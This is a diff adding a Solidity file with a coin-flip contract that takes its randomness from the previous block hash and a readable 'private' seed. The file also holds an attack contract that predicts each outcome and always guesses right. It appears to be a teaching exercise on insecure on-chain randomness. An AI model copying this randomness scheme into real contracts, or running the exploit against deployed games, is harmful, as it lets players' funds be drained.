vrf

coinFlip.sol

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+//SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.13;
+
+contract coinFlip {
+
+    uint public lastGame;
+    bool public lastWin;
+    uint public consecutiveWins;
+    uint private seed = 262662626267829762592976282929727727;
+
+
+    function getInfo() public view returns(uint, bytes32, uint){
+
+        uint blockNumber = block.number - 1;
+        bytes32 hash = blockhash(blockNumber);
+        uint semiRandomNumber = uint(hash);
+
+        return (blockNumber,hash,semiRandomNumber);
+    }
+
+    function flip(bool guess) public returns(bool){
+
+        bool flipped;
+        uint blockNumber = block.number - 1;
+        bytes32 hash = blockhash(blockNumber);
+        uint semiRandomNumber = uint(hash);
+
+        require(lastGame != blockNumber, "you already played this round");
+        lastGame = blockNumber;
+
+        if(semiRandomNumber/seed % 2 != 0){
+            flipped = true;
+        }else{
+            flipped = false;
+        }
+
+        if(flipped == guess){
+            consecutiveWins += 1;
+            lastWin = true;
+            return true;
+        }else{
+            consecutiveWins = 0;
+            lastWin = false;
+            return false;
+        }
+    }
+}
+
+
+contract attackCoinFlip {
+
+    coinFlip public coinFlipContract;
+    uint private seed = 262662626267829762592976282929727727;
+
+    constructor(address addy){
+        coinFlipContract = coinFlip(addy);
+    }
+
+    function tryToWin() public {
+
+        uint blockNumber = block.number - 1;
+        bytes32 hash = blockhash(blockNumber);
+        uint semiRandomNumber = uint(hash);
+
+        if(semiRandomNumber/seed % 2 != 0){
+            coinFlipContract.flip(true);
+        }else{
+            coinFlipContract.flip(false);
+        }
+
+    }
+
+}